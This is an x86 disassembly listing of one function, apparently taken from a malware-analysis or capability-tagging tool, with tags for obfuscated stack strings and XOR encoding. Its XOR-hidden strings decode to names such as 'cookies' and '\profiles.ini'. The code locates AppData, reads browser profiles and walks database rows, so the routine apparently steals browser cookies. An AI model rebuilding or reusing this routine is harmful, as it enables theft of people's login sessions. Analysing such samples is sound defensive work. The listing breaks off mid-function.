Function at 0x439216
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x505c40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x14f0
push ebx
call fcn.004dd960
push esi
mov esi, ecx
mov dword [ebp - 0x11c], esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00467630
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x24], 1
mov eax, esp
lea ecx, [ebp - 0xc0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00463a80
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x34], 0x797e7f6c
mov dword [ebp - 0x30], 0x66717a
mov byte [ebp - 0x2c], 1
nop
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x439280
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2c], 0
push eax
mov ecx, esi
call fcn.00469c40
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0xc0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov byte [ebp - 0xc0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xc0]
mov dword [edi + 8], eax
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], esi
call fcn.004636e0
push 0x104
lea eax, [ebp - 0x500]
push 0
push eax
call fcn.004debe0
add esp, 0xc
lea eax, [ebp - 0x500]
push eax
push 0
push 0
push 0x1a
push 0
call dword [0x50b2dc]
lea ecx, [ebp - 0x500]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439316
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x43abda
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x500]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x208]
call fcn.0046d4f0
mov dword [ebp - 0x24], 0x81
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x68], 0x7d636053
mov dword [ebp - 0x64], 0x73797d75
mov dword [ebp - 0x60], 0x74703664
mov word [ebp - 0x5c], 0x72
mov byte [ebp - 0x5a], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xd
jb 0x439381
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x5a], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4393a0
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x43abdf
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x68]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1e0]
call fcn.0046d4f0
mov esi, 0xc1
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
cmovae eax, dword [ebp - 0x1e0]
push eax
push 0x1000
lea eax, [ebp - 0x1500]
push eax
call dword [0x50b1f4]
lea edi, [ebp - 0x1500]
mov dword [ebp - 0x114], edi
nop word [eax + eax]
mov dword [ebp - 0x91], 0x747e625f
xor ecx, ecx
mov dword [ebp - 0x8d], 0x70787a
mov byte [ebp - 0x89], 1
nop dword [eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 7
jb 0x439450
push 7
lea eax, [ebp - 0x91]
mov byte [ebp - 0x89], 0
push eax
push edi
call fcn.004ea1de
add esp, 0xc
test eax, eax
jne 0x43aaed
push 0x104
push eax
lea eax, [ebp - 0x3f8]
push eax
call fcn.004debe0
add esp, 0xc
mov dword [ebp - 0x52], 0x7a65715f
cmp dword [ebp - 0x1cc], 0x10
lea edx, [ebp - 0x1e0]
mov word [ebp - 0x4e], 0x100
cmovae edx, dword [ebp - 0x1e0]
xor ecx, ecx
nop word [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 4
jb 0x4394c0
push edx
push 0x104
lea eax, [ebp - 0x3f8]
mov byte [ebp - 0x4d], 0
push eax
push 0
lea eax, [ebp - 0x52]
push eax
push edi
call dword [0x50b118]
lea ecx, [ebp - 0x43]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439500
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x43abda
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x43]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf0]
call fcn.0046d4f0
or esi, 4
mov dword [ebp - 0x24], esi
lea eax, [ebp - 0x3f8]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xf0]
call fcn.00465950
or esi, 8
mov dword [ebp - 0x24], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x4395d0
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4395c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439612
sub ecx, edx
lea eax, [ebp - 0x3f8]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00403410
mov byte [ebp - 4], 9
lea edi, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0x10
mov esi, dword [ebp - 0xc8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x43973f
push esi
push 0x2f
push edi
call fcn.004e03d0
add esp, 0xc
test eax, eax
je 0x43973f
sub eax, edi
cmp eax, 0xffffffff
je 0x43973f
sub esp, 0x18
mov word [ebp - 0x55], 0x2f
mov edx, esp
mov byte [ebp - 0x53], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x55]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4396a0
sub ecx, esi
lea eax, [ebp - 0x55]
push ecx
push eax
mov ecx, edx
call fcn.00403410
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.00465c30
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.0040ca70
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x23c]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x43972a
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43971d
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00465820
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.00467e20
mov esi, dword [ebp - 0xc8]
cmp dword [ebp - 0xc4], 0x10
lea edi, [ebp - 0xd8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x439833
push esi
push 0x5c
push edi
call fcn.004e03d0
add esp, 0xc
test eax, eax
je 0x439833
sub eax, edi
cmp eax, 0xffffffff
je 0x439833
sub esp, 0x18
mov word [ebp - 0x46], 0x5c
mov edx, esp
mov byte [ebp - 0x44], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x46]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4397a6
sub ecx, esi
lea eax, [ebp - 0x46]
push ecx
push eax
mov ecx, edx
call fcn.00403410
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.00465c30
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.0040ca70
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x68]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x439827
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43981a
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00465820
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.00467e20
movaps xmm0, xmmword [str.changes]
xor ecx, ecx
movups xmmword [ebp - 0x101], xmm0
mov byte [ebp - 0xf1], 1
nop word [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x101], al
inc ecx
cmp ecx, 0xf
jb 0x439850
lea ecx, [ebp - 0x101]
mov byte [ebp - 0xf1], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439871
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x244]
sub eax, edx
cmp eax, ecx
jb 0x43abda
cmp dword [ebp - 0x240], 0x10
lea eax, [ebp - 0x254]
push ecx
cmovae eax, dword [ebp - 0x254]
lea ecx, [ebp - 0x101]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c8]
call fcn.0046d4f0
mov esi, dword [ebp - 0x24]
or esi, 2
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0x100727d
xor ecx, ecx
nop
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x4398d0
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x1c8]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0x1c8]
push ecx
push eax
call fcn.004e2a50
add esp, 8
test eax, eax
je 0x43a9f7
push eax
call fcn.004e62d8
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xb8]
push 0
mov byte [ebp - 0xc0], 0
call fcn.00467630
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x160]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00463a80
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0xc0]
test al, al
jne 0x4399c4
push 8
mov byte [ebp - 0xc0], 1
call fcn.004dc981
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10d]
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004dc981
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0xb8], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x4399d2
cmp al, 1
jne 0x43abe9
mov esi, dword [ebp - 0xb8]
lea eax, [ebp - 0xd8]
mov ecx, esi
push eax
call fcn.00467800
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x160]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov byte [ebp - 0x160], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x160]
mov dword [edi + 8], eax
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], esi
call fcn.004636e0
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x1c8]
lea edx, [ebp - 0x118]
cmovae ecx, dword [ebp - 0x1c8]
call fcn.00414b50
test eax, eax
jne 0x43a99a
movaps xmm0, xmmword [0x524a20]
xor ecx, ecx
movups xmmword [ebp - 0x2a3], xmm0
mov dword [ebp - 0x263], 0x3d3c7002
movaps xmm0, xmmword [0x5245a0]
movups xmmword [ebp - 0x293], xmm0
mov dword [ebp - 0x25f], 0x39360b29
movaps xmm0, xmmword [0x523fa0]
movups xmmword [ebp - 0x283], xmm0
mov dword [ebp - 0x25b], 0x3f303338
movaps xmm0, xmmword [0x523f00]
movups xmmword [ebp - 0x273], xmm0
mov word [ebp - 0x257], 0x28
mov byte [ebp - 0x255], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x2a3], al
inc ecx
cmp ecx, 0x4d
jb 0x439ab4
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x20]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x2a3]
mov byte [ebp - 0x255], 0
call fcn.004c2310
add esp, 0x14
test eax, eax
jne 0x43a98f
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.0049ec40
cmp eax, 0x64
jne 0x43a917
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x128]
push 0
mov byte [ebp - 0x130], 0
call fcn.00467630
mov byte [ebp - 4], 0x16
test edi, edi
je 0x439b7e
cmp dword [edi + 0x2c], 0
je 0x439b59
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x439b59
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439b54
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x439b83
mov eax, dword [edi]
test eax, eax
je 0x439b7e
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439b70
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d600
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049bb10
mov dword [ebp - 0x18], eax
test edi, edi
je 0x439be4
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x439bc7
cmp byte [esi + 0x1e], 0
jne 0x439baa
mov edx, esi
cmp ecx, 0xc0a
jne 0x439bc2
push 0
push 7
push esi
call fcn.0048d600
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x439bce
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x439be4
push eax
call dword [0x532d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x170], 3
push 0x18
movq qword [ebp - 0x168], xmm0
call fcn.004dc981
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x224], esi
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
mov edx, dword [ebp - 0x18]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439c30
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x168], esi
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x7f], 0x737c7f6b
mov dword [ebp - 0x7b], 0x1007a7a
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 6
jb 0x439c67
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x78], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.00469c40
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x164]
mov edi, dword [ebp - 0x14]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x170], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x168], ecx
lea ecx, [ebp - 0x170]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x164], edx
call fcn.004636e0
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x49]
xorps xmm0, xmm0
mov word [ebp - 0x49], 0x31
mov byte [ebp - 0x47], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439cf6
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00403410
mov byte [ebp - 4], 0x19
test edi, edi
je 0x439d68
cmp dword [edi + 0x2c], 0
je 0x439d43
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x439d43
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439d3b
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x439d6d
mov eax, dword [edi]
test eax, eax
je 0x439d68
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439d5a
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d600
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049bb10
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x439dd3
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x439db3
cmp byte [esi + 0x1e], 0
jne 0x439d96
mov eax, esi
cmp ecx, 0xc0a
jne 0x439dae
push 0
push 7
push esi
call fcn.0048d600
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x439dba
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439dd0
push eax
call dword [0x532d28]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xf8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
movups xmmword [ebp - 0x108], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439df6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.00403410
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
xorps xmm0, xmm0
push dword [ebp - 0xe0]
mov esi, dword [ebp - 0x108]
cmovae eax, ecx
mov edx, dword [ebp - 0xf8]
setae byte [ebp - 0x19]
cmp dword [ebp - 0xf4], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x108]
cmovae ecx, esi
movq qword [ebp - 0x178], xmm0
push eax
setae byte [ebp - 0x1a]
mov byte [ebp - 0x180], 4
call fcn.004757f0
mov byte [ebp - 0x140], al
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov dword [ebp - 0x9b], 0x62656467
mov dword [ebp - 0x97], 0x6f797a5c
mov word [ebp - 0x93], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 8
jb 0x439eb0
lea eax, [ebp - 0x9b]
mov byte [ebp - 0x92], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.00469c40
mov edi, dword [ebp - 0x140]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x180], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x13c]
mov dword [ebp - 0x178], ecx
lea ecx, [ebp - 0x180]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x174], edx
call fcn.004636e0
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x19
mov edi, dword [ebp - 0x20]
je 0x439f50
mov ecx, dword [ebp - 0xf4]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x439f46
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push esi
call fcn.004dcc02
add esp, 8
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x16
je 0x439f8c
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439f82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
test edi, edi
je 0x439fe1
cmp dword [edi + 0x2c], 0
je 0x439fbc
mov eax, 2
cmp ax, word [edi + 0x30]
jae 0x439fbc
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439fb4
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x50
jmp 0x439fe6
mov eax, dword [edi]
test eax, eax
je 0x439fe1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439fd3
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d600
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049bb10
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43a047
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a02a
cmp byte [esi + 0x1e], 0
jne 0x43a00d
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a025
push 0
push 7
push esi
call fcn.0048d600
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a031
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a047
push eax
call dword [0x532d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x190], 3
push 0x18
movq qword [ebp - 0x188], xmm0
call fcn.004dc981
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10b]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], esi
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a0a0
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x188], esi
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x40], 0x7a65717f
mov word [ebp - 0x3c], 0x100
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 4
jb 0x43a0d6
lea eax, [ebp - 0x40]
mov byte [ebp - 0x3b], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.00469c40
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x184]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x190], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x188], ecx
lea ecx, [ebp - 0x190]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x184], edx
call fcn.004636e0
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x4c]
xorps xmm0, xmm0
mov word [ebp - 0x4c], 0x31
mov byte [ebp - 0x4a], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a165
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.00403410
mov byte [ebp - 4], 0x1e
test edi, edi
je 0x43a1d7
cmp dword [edi + 0x2c], 0
je 0x43a1b2
mov eax, 3
cmp ax, word [edi + 0x30]
jae 0x43a1b2
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a1aa
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x78
jmp 0x43a1dc
mov eax, dword [edi]
test eax, eax
je 0x43a1d7
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a1c9
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d600
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049bb10
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x43a242
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a222
cmp byte [esi + 0x1e], 0
jne 0x43a205
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a21d
push 0
push 7
push esi
call fcn.0048d600
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a229
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a23f
push eax
call dword [0x532d28]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a265
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.00403410
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
xorps xmm0, xmm0
push dword [ebp - 0xf8]
mov esi, dword [ebp - 0xf0]
cmovae eax, ecx
mov edx, dword [ebp - 0xe0]
setae byte [ebp - 0x1a]
cmp dword [ebp - 0xdc], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xf0]
cmovae ecx, esi
movq qword [ebp - 0x1e8], xmm0
push eax
setae byte [ebp - 0x19]
mov byte [ebp - 0x1f0], 4
call fcn.004757f0
mov byte [ebp - 0x138], al
add esp, 8
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1e4], eax
mov byte [ebp - 4], 0x20
xor ecx, ecx
mov dword [ebp - 0x77], 0x6772757c
mov dword [ebp - 0x73], 0x1007161
nop dword [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 6
jb 0x43a310
lea eax, [ebp - 0x77]
mov byte [ebp - 0x70], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.00469c40
mov edi, dword [ebp - 0x138]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x1f0], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x134]
mov dword [ebp - 0x1e8], ecx
lea ecx, [ebp - 0x1f0]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x1e4], edx
call fcn.004636e0
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x1e
mov edi, dword [ebp - 0x20]
je 0x43a3a7
mov ecx, dword [ebp - 0xdc]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x43a39d
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
